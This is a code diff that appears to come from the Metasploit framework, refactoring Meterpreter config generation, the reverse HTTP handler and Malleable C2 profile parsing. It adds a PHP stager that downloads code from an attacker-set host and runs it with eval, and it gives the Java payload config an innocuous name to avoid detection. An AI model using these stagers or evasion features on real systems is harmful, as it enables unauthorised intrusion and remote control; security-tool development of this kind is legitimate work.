diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json index 5539267c8e2d1..4bbfe9b7b30a1 100644 --- a/db/modules_metadata_base.json +++ b/db/modules_metadata_base.json @@ -66658,7 +66658,7 @@ "disclosure_date": null, "type": "encoder", "author": [ - "OJ Reeves " + "OJ Reeves" ], "description": "Encodes a payload using a series of SUB instructions and writing the\n encoded value to ESP. This concept is based on the known SUB encoding\n approach that is widely used to manually encode payloads with very\n restricted allowed character sets. It will not reset EAX to zero unless\n absolutely necessary, which helps reduce the payload by 10 bytes for\n every 4-byte chunk. ADD support hasn't been included as the SUB\n instruction is more likely to avoid bad characters anyway.\n\n The payload requires a base register to work off which gives the start\n location of the encoder payload in memory. If not specified, it defaults\n to ESP. If the given register doesn't point exactly to the start of the\n payload then an offset value is also required.\n\n Note: Due to the fact that many payloads use the FSTENV approach to\n get the current location in memory there is an option to protect the\n start of the payload by setting the 'OverwriteProtect' flag to true.\n This adds 3-bytes to the start of the payload to bump ESP by 32 bytes\n so that it's clear of the top of the payload.", "references": [], @@ -86684,7 +86684,7 @@ "disclosure_date": "2015-03-01", "type": "exploit", "author": [ - "OJ Reeves " + "OJ Reeves" ], "description": "Some Seagate Business NAS devices are vulnerable to command execution via a local\n file include vulnerability hidden in the language parameter of the CodeIgniter\n session cookie. The vulnerability manifests in the way the language files are\n included in the code on the login page, and hence is open to attack from users\n without the need for authentication. The cookie can be easily decrypted using a\n known static encryption key and re-encrypted once the PHP object string has been\n modified.\n\n This module has been tested on the STBN300 device.", "references": [ @@ -189596,7 +189596,7 @@ "author": [ "superkojiman", "PsychoSpy ", - "OJ Reeves " + "OJ Reeves" ], "description": "This module exploits a stack based buffer overflow in Ultra Mini HTTPD 1.21,\n allowing remote attackers to execute arbitrary code via a long resource name in an HTTP\n request. This exploit has to deal with the fact that the application's request handler\n thread is terminated after 60 seconds by a \"monitor\" thread. To do this, it allocates\n some RWX memory, copies the payload to it and creates another thread. When done, it\n terminates the current thread so that it doesn't crash and hence doesn't bring down\n the process with it.", "references": [ @@ -207223,7 +207223,7 @@ "author": [ "Sean Dillon ", "Ryan Hanson", - "OJ Reeves ", + "OJ Reeves", "Brent Cook " ], "description": "The RDP termdd.sys driver improperly handles binds to internal-only channel MS_T120,\n allowing a malformed Disconnect Provider Indication message to cause use-after-free.\n With a controllable data/size remote nonpaged pool spray, an indirect call gadget of\n the freed channel is used to achieve arbitrary code execution.\n\n Windows 7 SP1 and Windows Server 2008 R2 are the only currently supported targets.\n\n Windows 7 SP1 should be exploitable in its default configuration, assuming your target\n selection is correctly matched to the system's memory layout.\n\n HKLM\\SYSTEM\\CurrentControlSet\\Control\\TerminalServer\\Winstations\\RDP-Tcp\\fDisableCam\n *needs* to be set to 0 for exploitation to succeed against Windows Server 2008 R2.\n This is a non-standard configuration for normal servers, and the target will crash if\n the aforementioned Registry key is not set!\n\n If the target is crashing regardless, you will likely need to determine the non-paged\n pool base in kernel memory and set it as the GROOMBASE option.", @@ -311196,4 +311196,4 @@ "needs_cleanup": null, "actions": [] } -} \ No newline at end of file +} diff --git a/lib/msf/base/sessions/mettle_config.rb b/lib/msf/base/sessions/mettle_config.rb index 94e2289b964a7..50fb6c252c4ea 100644 --- a/lib/msf/base/sessions/mettle_config.rb +++ b/lib/msf/base/sessions/mettle_config.rb @@ -96,15 +96,61 @@ def generate_config(opts = {}) opts[:uuid] ||= generate_payload_uuid - case opts[:scheme] - when 'http' - opts[:uri] = generate_http_uri(transport_config_reverse_http(opts)) - when 'https' - opts[:uri] = generate_http_uri(transport_config_reverse_https(opts)) - when 'tcp' - opts[:uri] = generate_tcp_uri(transport_config_reverse_tcp(opts)) - else - raise ArgumentError, "Unknown scheme: #{opts[:scheme]}" + unless opts[:transport_config] + if opts[:stageless] == true + case opts[:scheme] + when 'http' + opts[:transport_config] = [transport_config_reverse_http(opts)] + when 'https' + opts[:transport_config] = [transport_config_reverse_https(opts)] + when 'tcp' + opts[:transport_config] = [transport_config_reverse_tcp(opts)] + else + raise ArgumentError, "Unknown scheme: #{opts[:scheme]}" + end + else + # Staged payloads inherit the stager's socket (fd transport); + # the stage must not synthesise its own C2 transport. Use an + # explicit empty array ([] is truthy, so the build is skipped). + opts[:transport_config] = [] + end + end + + # Generate the TLV config block + config_opts = { + ascii_str: true, + null_session_guid: opts[:stageless] == true, + expiration: (ds[:expiration] || ds['SessionExpirationTimeout']).to_i, + uuid: opts[:uuid], + transports: opts[:transport_config], + extensions: opts[:extensions] || [], + ext_format: 'bin', + mettle_platform: opts[:mettle_platform], + stageless: opts[:stageless] == true, + }.merge(meterpreter_logging_config(opts)) + + config = Rex::Payloads::Meterpreter::Config.new(config_opts) + opts[:config_block] = config.to_b + + # Mettle reserves a fixed 8 KB slot in the binary for the config + # block. Catch the overflow here with a useful message instead of + # letting the gem's `to_binary` raise a generic "config block too + # large" — baked-in EXTENSIONS= is the usual culprit. + if opts[:config_block].length > MetasploitPayloads::Mettle::CONFIG_BLOCK_MAX + raise ArgumentError, "Mettle config block (#{opts[:config_block].length} bytes) exceeds the #{MetasploitPayloads::Mettle::CONFIG_BLOCK_MAX}-byte embedded slot. " \ + "Drop EXTENSIONS= and `load ` once the session is up." + end + + # Keep the legacy CLI config for backward compatibility during + # transition. Skipped for staged payloads, which have no transport. + transport = opts[:transport_config].first + if transport + case opts[:scheme] + when 'http', 'https' + opts[:uri] = generate_http_uri(transport) + when 'tcp' + opts[:uri] = generate_tcp_uri(transport) + end end opts[:uuid] = Base64.encode64(opts[:uuid].to_raw).strip @@ -114,7 +160,7 @@ def generate_config(opts = {}) end opts[:session_guid] = Base64.encode64(guid).strip - opts.slice(:uuid, :session_guid, :uri, :debug, :log_file, :name, :background) + opts.slice(:uuid, :session_guid, :uri, :debug, :log_file, :name, :background, :config_block) end # Stage encoding is not safe for Mettle (doesn't apply to stageless) diff --git a/lib/msf/core/handler/reverse_http.rb b/lib/msf/core/handler/reverse_http.rb index 9fdbfb2a01265..bbbf25c1b993d 100644 --- a/lib/msf/core/handler/reverse_http.rb +++ b/lib/msf/core/handler/reverse_http.rb @@ -280,24 +280,69 @@ def setup_handler end end + # Extract the connection id (the checksum-tuned base64url UUID string + # produced by `generate_uri_uuid`) from an incoming request, so that + # `process_uri_resource` can map it to a session. The id can arrive in + # three places depending on the C2 profile placement directive: + # + # * query parameter (profile: `parameter "name";`) + # * request header (profile: `header "name";`) + # * trailing path seg (default — no placement directive) + # + # For the path case, the URI looks like `/`, where `` + # is the profile's per-verb `set uri` if defined, otherwise `LURI` + # (each is registered as a separate mount point in `all_uris`). + # Taking the last `/`-separated segment skips the base regardless of + # which one was used. Profile authors should not put `/` in + # prepend/append directives — that would split the id across segments + # and defeat this scheme. + # + # If the profile applied `prepend` / `append` / `base64` / `base64url` + # to the id on the payload side, undo those transforms here before + # handing the result to `process_uri_resource`. def find_resource_id(cli, request) if request.method == 'POST' - directive = self.c2_profile&.http_post&.client&.id&.parameter - cid = request.qstring[directive[0].args[0]] if directive && directive.length > 0 - unless cid - directive = self.c2_profile&.http_post&.client&.id&.header - cid = request.headers[directive[0].args[0]] if directive && directive.length > 0 - end + placement = self.c2_profile&.http_post&.client&.id else - directive = self.c2_profile&.http_get&.client&.metadata&.parameter + placement = self.c2_profile&.http_get&.client&.metadata + end + + cid = nil + if placement + directive = placement.parameter cid = request.qstring[directive[0].args[0]] if directive && directive.length > 0 unless cid - directive = self.c2_profile&.http_get&.client&.metadata&.header + directive = placement.header cid = request.headers[directive[0].args[0]] if directive && directive.length > 0 end end - request.conn_id = cid || request.resource.split('?')[0].split('/').compact.last + cid ||= request.resource.split('?')[0].split('/').compact.last + cid = unwrap_profile_uuid(cid, placement) if cid && placement + + request.conn_id = cid + end + + # Reverse the prepend/append + base64 transforms the profile applied + # to the id on the payload side. If a declared wrapper is missing from + # the candidate, leave the candidate alone — this is not a payload + # request, and `process_uri_resource` will return nil for it. + def unwrap_profile_uuid(candidate, placement) + prefix = placement.prepend.map{|d| d.args[0]}.join('') + suffix = placement.append.map{|d| d.args[0]}.join('') + + return candidate unless prefix.empty? || candidate.start_with?(prefix) + return candidate unless suffix.empty? || candidate.end_with?(suffix) + + candidate = candidate[prefix.length..] unless prefix.empty? + candidate = candidate[0...-suffix.length] unless suffix.empty? + + if placement.has_directive('base64') + candidate = Rex::Text.decode_base64(candidate) + elsif placement.has_directive('base64url') + candidate = Rex::Text.decode_base64url(candidate) + end + candidate end def add_response_headers(req, resp) @@ -310,6 +355,21 @@ def add_response_headers(req, resp) end end + # Return the live meterpreter session whose passive dispatcher is + # registered for this bare conn_id, or nil if none matches. Used so + # MC2 traffic — which Rex routes to on_request because the profile + # URI prefix outranks the session's / mount — can still be + # delivered to the right session instead of triggering a fresh + # "orphaned attach" on every poll. + def session_for_conn_id(bare_conn_id) + return nil if framework.nil? || bare_conn_id.nil? || bare_conn_id.empty? + framework.sessions.each_value do |s| + next unless s.respond_to?(:connection_uuid) + return s if s.connection_uuid == bare_conn_id + end + nil + end + # # Removes the / handler, possibly stopping the service if no sessions are # active on sub-urls. @@ -391,7 +451,7 @@ def on_request(cli, req) uuid.arch ||= self.arch uuid.platform ||= self.platform - request_summary = "#{luri} with UA '#{req.headers['User-Agent']}'" + request_summary = "URI '#{req.resource}' with UA '#{req.headers['User-Agent']}'" if info[:mode] && info[:mode] != :connect conn_id = generate_uri_uuid(URI_CHECKSUM_CONN, uuid) @@ -435,7 +495,7 @@ def on_request(cli, req) # Process the requested resource. case info[:mode] when :init_connect - print_status("Redirecting stageless connection from #{request_summary} to #{conn_id}") + print_status("Redirecting stageless: #{request_summary} -> UUID #{conn_id.gsub(/\//, '')}") # Handle the case where stageless payloads call in on the same URI when they # first connect. From there, we tell them to callback on a connect URI that @@ -447,10 +507,21 @@ def on_request(cli, req) resp.body = pkt.to_r resp.body = self.c2_profile.wrap_outbound_get(resp.body) if self.c2_profile - when :init_python, :init_native, :init_java, :connect + when :init_python, :init_native, :init_java, :init_php, :connect # TODO: at some point we may normalise these three cases into just :init if info[:mode] == :connect + # If a session already exists for this conn_id, hand the + # request to its passive dispatcher. Without this, MC2 + # profiles loop forever on "orphaned attach" because the + # profile URI prefix outranks the session's / + # mount in Rex's VirtualDirectory routing. + existing = session_for_conn_id(req.conn_id) + if existing + existing.send(:on_passive_request, cli, req) + self.pending_connections -= 1 + return + end print_status("Attaching orphaned/stageless session...") else begin diff --git a/lib/msf/core/payload/android.rb b/lib/msf/core/payload/android.rb index a1c0e0f3093ea..aa3c55c04f91d 100644 --- a/lib/msf/core/payload/android.rb +++ b/lib/msf/core/payload/android.rb @@ -46,23 +46,26 @@ def generate_config(opts={}) opts[:uuid] ||= generate_payload_uuid ds = opts[:datastore] || datastore + # Session flags consumed by the Android meterpreter via TLV_TYPE_SESSION_FLAGS. + # Bit values must match Config.FLAG_* in + # java/meterpreter/shared/src/main/java/com/metasploit/stage/Config.java. + flags = 0 + flags |= 1 if opts[:stageless] + flags |= 2 if ds['AndroidMeterpreterDebug'] + flags |= 4 if ds['AndroidWakelock'] + flags |= 8 if ds['AndroidHideAppIcon'] + config_opts = { ascii_str: true, arch: opts[:uuid].arch, expiration: ds['SessionExpirationTimeout'].to_i, uuid: opts[:uuid], transports: opts[:transport_config] || [transport_config(opts)], - stageless: opts[:stageless] == true + stageless: opts[:stageless] == true, + flags: flags } - config = Rex::Payloads::Meterpreter::Config.new(config_opts).to_b - flags = 0 - flags |= 1 if opts[:stageless] - flags |= 2 if ds['AndroidMeterpreterDebug'] - flags |= 4 if ds['AndroidWakelock'] - flags |= 8 if ds['AndroidHideAppIcon'] - config[0] = flags.chr - config + Rex::Payloads::Meterpreter::Config.new(config_opts).to_b end def sign_jar(jar) diff --git a/lib/msf/core/payload/java/meterpreter_loader.rb b/lib/msf/core/payload/java/meterpreter_loader.rb index e2654ba6c727b..7ec6087e6ce25 100644 --- a/lib/msf/core/payload/java/meterpreter_loader.rb +++ b/lib/msf/core/payload/java/meterpreter_loader.rb @@ -1,5 +1,7 @@ # -*- coding: binary -*- +require 'rex/zip' +require 'zip' module Msf @@ -15,6 +17,11 @@ module Payload::Java::MeterpreterLoader include Msf::Payload::UUID::Options include Msf::Sessions::MeterpreterOptions::Java + # Resource path the stageless StagelessMain bootstrap reads. Deliberately + # innocuous — no meterpreter/metasploit markers in the name. + STAGELESS_CONFIG_RESOURCE = 'META-INF/data'.freeze + STAGELESS_MAIN_CLASS = 'com.metasploit.meterpreter.StagelessMain'.freeze + def initialize(info = {}) super(update_info(info, 'Name' => 'Java Meterpreter & Configuration', @@ -35,10 +42,16 @@ def stage_payload(opts={}) # Override the Payload::Java version so we can load a prebuilt jar to be # used as the final stage; calls super to get the intermediate stager. # + # When opts[:stageless] is set, returns a self-contained jar with the + # TLV config embedded as a resource and Main-Class pinned to + # StagelessMain — ready to run under `java -jar`. + # def stage_meterpreter(opts={}) met = MetasploitPayloads.read('meterpreter', 'meterpreter.jar') config = generate_config(opts) + return build_stageless_jar(met, config).pack if opts[:stageless] + # All of the dependencies to create a jar loader, followed by the length # of the jar and the jar itself, then the config blocks = [ @@ -56,6 +69,54 @@ def stage_meterpreter(opts={}) (blocks + [block_count]).pack('A*' * blocks.length + 'N') end + # Build a self-contained stageless jar: take the prebuilt meterpreter.jar, + # rewrite its manifest to point at StagelessMain, and embed the encoded + # config as a jar resource that StagelessMain reads at startup. Returns + # the Rex::Zip::Jar so callers can either .pack it (legacy stage path) + # or hand it to msfvenom's encoded_jar/generate_jar pipeline. + # Extra classes the stageless jar needs beyond the shaded meterpreter jar. + # JarFileClassLoader lives in the javapayload artifact (which the shade + # plugin deliberately excludes), but `Meterpreter#loadExtension` uses it + # to load extension jars at runtime. + STAGELESS_EXTRA_CLASSES = [ + %w[com metasploit meterpreter JarFileClassLoader.class], + ].freeze + + def build_stageless_jar(src_jar, config_bytes) + jar = Rex::Zip::Jar.new + ::Zip::File.open_buffer(::StringIO.new(src_jar)) do |zip| + zip.each do |entry| + next if entry.directory? + next if entry.name == 'META-INF/MANIFEST.MF' + next if entry.name == STAGELESS_CONFIG_RESOURCE + jar.add_file(entry.name, entry.get_input_stream.read) + end + end + STAGELESS_EXTRA_CLASSES.each do |parts| + jar.add_file(parts.join('/'), ::MetasploitPayloads.read('java', *parts)) + end + jar.add_file(STAGELESS_CONFIG_RESOURCE, config_bytes) + jar.build_manifest(main_class: STAGELESS_MAIN_CLASS) + jar + end + + # `Msf::Simple::Payload.generate_simple` reaches the jar bytes via + # `encoded_jar` -> `pinst.generate_jar`. The Java meterpreter modules + # that include this mixin are all `Msf::Payload::Single` (stageless), + # so build the self-contained jar instead of falling back to + # `Msf::Payload::Java#generate_jar`, which would emit the staged + # `metasploit.Payload` loader jar. + # When the calling module flags `opts[:stageless]`, build the + # self-contained jar via `build_stageless_jar`. Otherwise fall back to + # `Msf::Payload::Java#generate_jar`, which emits the staged + # `metasploit.Payload` loader jar. + def generate_jar(opts={}) + return super unless opts[:stageless] + + src_jar = MetasploitPayloads.read('meterpreter', 'meterpreter.jar') + build_stageless_jar(src_jar, generate_config(opts)) + end + def generate_config(opts={}) opts[:uuid] ||= generate_payload_uuid ds = opts[:datastore] || datastore @@ -67,6 +128,8 @@ def generate_config(opts={}) expiration: ds['SessionExpirationTimeout'].to_i, uuid: opts[:uuid], transports: opts[:transport_config] || [transport_config(opts)], + extensions: opts[:extensions] || [], + ext_format: 'jar', stageless: opts[:stageless] == true } diff --git a/lib/msf/core/payload/malleable_c2.rb b/lib/msf/core/payload/malleable_c2.rb index 227591523d0df..33494c3be5113 100644 --- a/lib/msf/core/payload/malleable_c2.rb +++ b/lib/msf/core/payload/malleable_c2.rb @@ -114,8 +114,10 @@ def tokenize(text) if scanner.scan(/\s+/) # blank line next - elsif scanner.scan(/^\s*#.*$/) - # comment + elsif scanner.scan(/#[^\n]*/) + # comment — anchorless so it matches indented comments too + # (the prior `\s+` rule has already eaten any leading + # whitespace by the time we get here) next elsif scanner.scan(/\"(\\.|[^"])*\"/) @tokens << Token.new(:string, scanner.matched[1..-2]) @@ -176,7 +178,12 @@ def uris post_uri = http_post.get_set('uri') } - [base_uri, get_uri, post_uri].compact + # A `set uri` value may list several space-separated candidate URIs + # (Cobalt Strike picks one at random per request). Split them out so + # the handler registers a mount for each candidate, otherwise the + # literal "uri-a uri-b" string is registered as a single unmatchable + # resource. + [base_uri, get_uri, post_uri].compact.flat_map {|u| u.split(/\s+/) }.reject(&:empty?).uniq end def wrap_outbound_get(raw_bytes) @@ -248,9 +255,10 @@ def build_get_tlv(http_get, c2_uri) http_get.get_section('client') {|client| self.add_http_tlv(get_uri, client, get_tlv) add_skip_tlvs(get_tlv, self.http_get&.server&.output) + add_inbound_encoding_tlv(get_tlv, self.http_get&.server&.output) client.get_section('metadata') {|meta| - add_encoding_tlv(get_tlv, meta) + add_uuid_transform_tlvs(get_tlv, meta) add_uuid_tlvs(get_tlv, meta) } } @@ -263,17 +271,15 @@ def build_post_tlv(http_post, c2_uri) http_post.get_section('client') {|client| self.add_http_tlv(post_uri, client, post_tlv) add_skip_tlvs(post_tlv, self.http_post&.server&.output) + add_inbound_encoding_tlv(post_tlv, self.http_post&.server&.output) client.get_section('output') {|client_output| - add_encoding_tlv(post_tlv, client_output) - - prepend_data = client_output.get_directive('prepend').map{|d|d.args[0]}.join("") - post_tlv.add_tlv(MET::TLV_TYPE_C2_PREFIX, prepend_data) unless prepend_data.empty? - append_data = client_output.get_directive('append').map{|d|d.args[0]}.join("") - post_tlv.add_tlv(MET::TLV_TYPE_C2_SUFFIX, append_data) unless append_data.empty? + add_outbound_encoding_tlv(post_tlv, client_output) + add_prepend_append_tlvs(post_tlv, client_output, MET::TLV_TYPE_C2_PREFIX, MET::TLV_TYPE_C2_SUFFIX) } client.get_section('id') {|client_id| + add_uuid_transform_tlvs(post_tlv, client_id) add_uuid_tlvs(post_tlv, client_id) } } @@ -290,11 +296,42 @@ def add_skip_tlvs(group_tlv, server_output) group_tlv.add_tlv(MET::TLV_TYPE_C2_SUFFIX_SKIP, suffix_len) unless suffix_len == 0 end - def add_encoding_tlv(group_tlv, section) - enc_flags = MET::C2_ENCODING_NONE - enc_flags = MET::C2_ENCODING_B64URL if section.has_directive('base64url') - enc_flags = MET::C2_ENCODING_B64 if section.has_directive('base64') - group_tlv.add_tlv(MET::TLV_TYPE_C2_ENC, enc_flags) if enc_flags != MET::C2_ENCODING_NONE + def encoding_flags_for(section) + return MET::C2_ENCODING_NONE if section.nil? + return MET::C2_ENCODING_B64 if section.has_directive('base64') + return MET::C2_ENCODING_B64URL if section.has_directive('base64url') + MET::C2_ENCODING_NONE + end + + # Client->server body/metadata encoding (request) + def add_outbound_encoding_tlv(group_tlv, section) + enc = encoding_flags_for(section) + group_tlv.add_tlv(MET::TLV_TYPE_C2_ENC_OUTBOUND, enc) if enc != MET::C2_ENCODING_NONE + end + + # Server->client body encoding (response) + def add_inbound_encoding_tlv(group_tlv, section) + enc = encoding_flags_for(section) + group_tlv.add_tlv(MET::TLV_TYPE_C2_ENC_INBOUND, enc) if enc != MET::C2_ENCODING_NONE + end + + # UUID placement encoding + prepend/append wrappers. Section is + # `client.metadata` (GET) or `client.id` (POST). + def add_uuid_transform_tlvs(group_tlv, section) + return if section.nil? + + enc = encoding_flags_for(section) + group_tlv.add_tlv(MET::TLV_TYPE_C2_ENC_UUID, enc) if enc != MET::C2_ENCODING_NONE + add_prepend_append_tlvs(group_tlv, section, MET::TLV_TYPE_C2_UUID_PREFIX, MET::TLV_TYPE_C2_UUID_SUFFIX) + end + + # Concatenate every `prepend`/`append` directive in `section` and emit + # them as the given prefix/suffix TLVs (skipping empty strings). + def add_prepend_append_tlvs(group_tlv, section, prefix_type, suffix_type) + prepend_data = section.get_directive('prepend').map{|d|d.args[0]}.join("") + group_tlv.add_tlv(prefix_type, prepend_data) unless prepend_data.empty? + append_data = section.get_directive('append').map{|d|d.args[0]}.join("") + group_tlv.add_tlv(suffix_type, append_data) unless append_data.empty? end def add_uuid_tlvs(group_tlv, section) @@ -316,14 +353,27 @@ def add_header(section, group_tlv) end def add_uri(base_uri, section, group_tlv) - uri = (base_uri || "").dup query_string = section.get_directive('parameter').map {|dir| "#{dir.args[0]}=#{URI.encode_uri_component(dir.args[1])}" }.join("&") - unless query_string.empty? - uri << "?" - uri << query_string + + # `set uri` may carry a space-separated list of candidate URIs. Emit + # one TLV_TYPE_C2_URI per candidate so the client can pick one at + # random; an empty/absent uri collapses to a single empty candidate + # to preserve the prior (query-string-only) behaviour. + candidates = (base_uri || "").split(/\s+/).reject(&:empty?) + candidates = [""] if candidates.empty? + + emitted = [] + candidates.each do |candidate| + uri = candidate.dup + unless query_string.empty? + uri << "?" + uri << query_string + end + next if uri.empty? + group_tlv.add_tlv(MET::TLV_TYPE_C2_URI, uri) + emitted << uri end - group_tlv.add_tlv(MET::TLV_TYPE_C2_URI, uri) unless uri.empty? - uri + emitted end end @@ -398,8 +448,16 @@ def parse(file) while current_token if match_keyword('set') profile.sets << parse_set - elsif current_token.type == :keyword && @lexer.is_block_keyword?(current_token.value) + elsif block_ahead? + # Any `name { ... }` is a block. We keep the ones we understand + # (http-get/http-post/etc.) and harmlessly retain the rest — + # unsupported CS blocks like dns-beacon/process-inject/post-ex + # are parsed for structure and simply ignored by to_tlv. profile.sections << parse_section + elsif name_token? + # A stray top-level directive we don't model. Consume it (up to + # its `;`) and move on rather than failing the whole profile. + parse_directive else raise "Unexpected token at top level: #{current_token.type}=#{current_token.value}" end @@ -418,19 +476,17 @@ def parse_set end def parse_section - name = expect(:keyword).value + name = expect_name.value expect_symbol('{') section = ParsedSection.new(name) while !match_symbol('}') && current_token if match_keyword('set') section.entries << parse_set - elsif current_token.type == :keyword - if @lexer.is_block_keyword?(current_token.value) - section.sections << parse_section - else - section.entries << parse_directive - end + elsif block_ahead? + section.sections << parse_section + elsif name_token? + section.entries << parse_directive else raise "Unexpected content in block #{name}: #{current_token.value}" end @@ -441,7 +497,7 @@ def parse_section end def parse_directive - type = expect(:keyword).value + type = expect_name.value args = [] while current_token && !match_symbol(';') if [:string, :identifier, :keyword].include?(current_token.type) @@ -459,11 +515,35 @@ def current_token @lexer.tokens[@index] end + def peek_token(offset = 1) + @lexer.tokens[@index + offset] + end + def next_token @index += 1 current_token end + # A bare name that can head a block, directive or set key. Block + # detection no longer depends on a keyword whitelist, so profiles can + # carry CS blocks we don't model (dns-beacon, process-inject, ...) + # without breaking the parse. + def name_token? + t = current_token + !t.nil? && (t.type == :identifier || t.type == :keyword) + end + + # True when the current token names a block, i.e. it's followed by `{`. + def block_ahead? + return false unless name_token? + nt = peek_token(1) + !nt.nil? && nt.type == :symbol && nt.value == '{' + end + + def expect_name + expect([:identifier, :keyword]) + end + def expect(types) token = current_token types = [types] unless types.kind_of?(Array) diff --git a/lib/msf/core/payload/php/reverse_http.rb b/lib/msf/core/payload/php/reverse_http.rb new file mode 100644 index 0000000000000..dba085b642187 --- /dev/null +++ b/lib/msf/core/payload/php/reverse_http.rb @@ -0,0 +1,128 @@ +# -*- coding: binary -*- + +module Msf + +module Payload::Php::ReverseHttp + + include Msf::Payload::UUID::Options + + def initialize(info = {}) + super(info) + register_advanced_options( + Msf::Opt::http_header_options + + Msf::Opt::http_proxy_options + ) + deregister_options('HttpProxyType') + end + + # + # Generate the first stage + # + def generate(opts = {}) + opts[:scheme] = 'http' if opts[:scheme].nil? + generate_reverse_http(opts) + end + + # + # Return the callback URL + # + def generate_callback_url(opts) + if Rex::Socket.is_ipv6?(opts[:host]) + target_url = "#{opts[:scheme]}://[#{opts[:host]}]" + else + target_url = "#{opts[:scheme]}://#{opts[:host]}" + end + + target_url << ':' + target_url << opts[:port].to_s + target_url << luri + target_url << generate_callback_uri(opts) + target_url + end + + # + # Return the longest URI that fits into our available space + # + def generate_callback_uri(opts = {}) + uri_req_len = 30 + luri.length + rand(256 - (30 + luri.length)) + + if self.available_space.nil? || dynamic_size? || required_space > self.available_space + uri_req_len = 30 + end + + uuid = generate_payload_uuid(arch: ARCH_PHP, platform: 'php') + generate_uri_uuid_mode(opts[:uri_uuid_mode] || :init_php, uri_req_len, uuid: uuid) + end + + def generate_reverse_http(opts = {}) + ds = opts[:datastore] || datastore + opts.merge!({ + host: ds['LHOST'] || '127.127.127.127', + port: ds['LPORT'], + }) + + callback_url = generate_callback_url(opts) + scheme = opts[:scheme] + + php = %Q^/* array( + 'method' => 'GET', + 'timeout' => 30, + 'header' => "User-Agent: #{ds['HttpUserAgent'] || 'Mozilla/5.0'}\\r\\n", + 'ignore_errors' => true, +)); +^ + + if scheme == 'https' + php << %Q^$opts['ssl'] = array( + 'verify_peer' => false, + 'verify_peer_name' => false, + 'allow_self_signed' => true, +); +^ + end + + proxy_host = ds['HttpProxyHost'] + if proxy_host.to_s != '' + proxy_port = ds['HttpProxyPort'] || 8080 + php << %Q^$opts['#{scheme}']['proxy'] = 'tcp://#{proxy_host}:#{proxy_port}'; +$opts['#{scheme}']['request_fulluri'] = true; +^ + end + + php << %Q^$ctx = stream_context_create($opts); +$b = file_get_contents($url, false, $ctx); +if ($b === false) { die(); } +if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) +{ + $suhosin_bypass = create_function('', $b); + $suhosin_bypass(); +} +else +{ + eval($b); +} +die();^ + + php.gsub!(/#.*$/, '') + Rex::Text.compress(php) + end + + def transport_config(opts = {}) + transport_config_reverse_http(opts) + end + + # + # Determine the maximum amount of space required for the features requested + # + def required_space + space = cached_size + space += 100 + space += 256 + space + end +end + +end diff --git a/lib/msf/core/payload/python/meterpreter_loader.rb b/lib/msf/core/payload/python/meterpreter_loader.rb index 0f3d7f1602ed7..5bff75788fc1c 100644 --- a/lib/msf/core/payload/python/meterpreter_loader.rb +++ b/lib/msf/core/payload/python/meterpreter_loader.rb @@ -49,98 +49,59 @@ def stage_payload(opts={}) Rex::Text.encode_base64(Rex::Text.zlib_deflate(stage_meterpreter(opts))) end + def generate_config(opts={}) + ds = opts[:datastore] || datastore + opts[:uuid] ||= generate_payload_uuid(arch: ARCH_PYTHON, platform: 'python') + + unless opts[:transport_config] + scheme = opts[:scheme] || 'tcp' + if scheme == 'https' + opts[:transport_config] = [transport_config_reverse_https(opts)] + elsif scheme == 'http' + opts[:transport_config] = [transport_config_reverse_http(opts)] + else + opts[:transport_config] = [transport_config_reverse_tcp(opts)] + end + end + + config_opts = { + ascii_str: true, + null_session_guid: opts[:stageless] == true, + expiration: (ds[:expiration] || ds['SessionExpirationTimeout']).to_i, + uuid: opts[:uuid], + transports: opts[:transport_config], + extensions: opts[:extensions] || [], + ext_format: 'py', + stageless: opts[:stageless] == true, + }.merge(meterpreter_logging_config(opts)) + + config = Rex::Payloads::Meterpreter::Config.new(config_opts) + config.to_b + end + # Get the raw Python Meterpreter stage and patch in values based on the # configuration - # - # @param opts [Hash] The options to use for patching the stage data. - # @option opts [String] :http_proxy_host The host to use as a proxy for - # HTTP(S) transports. - # @option opts [String] :http_proxy_port The port to use when a proxy host is - # set for HTTP(S) transports. - # @option opts [String] :url The HTTP(S) URL to patch in to - # allow use of the stage as a stageless payload. - # @option opts [String] :http_user_agent The value to use for the User-Agent - # header for HTTP(S) transports. - # @option opts [String] :stageless_tcp_socket_setup Python code to execute to - # setup a tcp socket to allow use of the stage as a stageless payload. - # @option opts [String] :uuid A specific UUID to use for sessions created by - # this stage. def stage_meterpreter(opts={}) ds = opts[:datastore] || datastore met = MetasploitPayloads.read('meterpreter', 'meterpreter.py') - var_escape = lambda { |txt| - txt.gsub('\\', '\\' * 8).gsub('\'', %q(\\\\\\\')) - } - - if ds['MeterpreterDebugBuild'] - met.sub!(%q|DEBUGGING = False|, %q|DEBUGGING = True|) - - logging_options = Msf::OptMeterpreterDebugLogging.parse_logging_options(ds['MeterpreterDebugLogging']) - met.sub!(%q|DEBUGGING_LOG_FILE_PATH = None|, %Q|DEBUGGING_LOG_FILE_PATH = "#{logging_options[:rpath]}"|) if logging_options[:rpath] - end - unless ds['MeterpreterTryToFork'] met.sub!('TRY_TO_FORK = True', 'TRY_TO_FORK = False') end met.sub!("# PATCH-SETUP-ENCRYPTION #", python_encryptor_loader) - met.sub!('SESSION_EXPIRATION_TIMEOUT = 604800', "SESSION_EXPIRATION_TIMEOUT = #{ds['SessionExpirationTimeout']}") - met.sub!('SESSION_COMMUNICATION_TIMEOUT = 300', "SESSION_COMMUNICATION_TIMEOUT = #{ds['SessionCommunicationTimeout']}") - met.sub!('SESSION_RETRY_TOTAL = 3600', "SESSION_RETRY_TOTAL = #{ds['SessionRetryTotal']}") - met.sub!('SESSION_RETRY_WAIT = 10', "SESSION_RETRY_WAIT = #{ds['SessionRetryWait']}") - - uuid = opts[:uuid] || generate_payload_uuid(arch: ARCH_PYTHON, platform: 'python') - uuid = Rex::Text.to_hex(uuid.to_raw, prefix = '') - met.sub!("PAYLOAD_UUID = \'\'", "PAYLOAD_UUID = \'#{uuid}\'") - - if opts[:stageless] == true - session_guid = '00' * 16 - else - session_guid = SecureRandom.uuid.gsub('-', '') - end - met.sub!("SESSION_GUID = \'\'", "SESSION_GUID = \'#{session_guid}\'") - - http_user_agent = opts[:http_user_agent] || ds['HttpUserAgent'] - http_proxy_host = opts[:http_proxy_host] || ds['HttpProxyHost'] || ds['PROXYHOST'] - http_proxy_port = opts[:http_proxy_port] || ds['HttpProxyPort'] || ds['PROXYPORT'] - http_proxy_user = opts[:http_proxy_user] || ds['HttpProxyUser'] - http_proxy_pass = opts[:http_proxy_pass] || ds['HttpProxyPass'] - http_header_host = opts[:header_host] || ds['HttpHostHeader'] - http_header_cookie = opts[:header_cookie] || ds['HttpCookie'] - 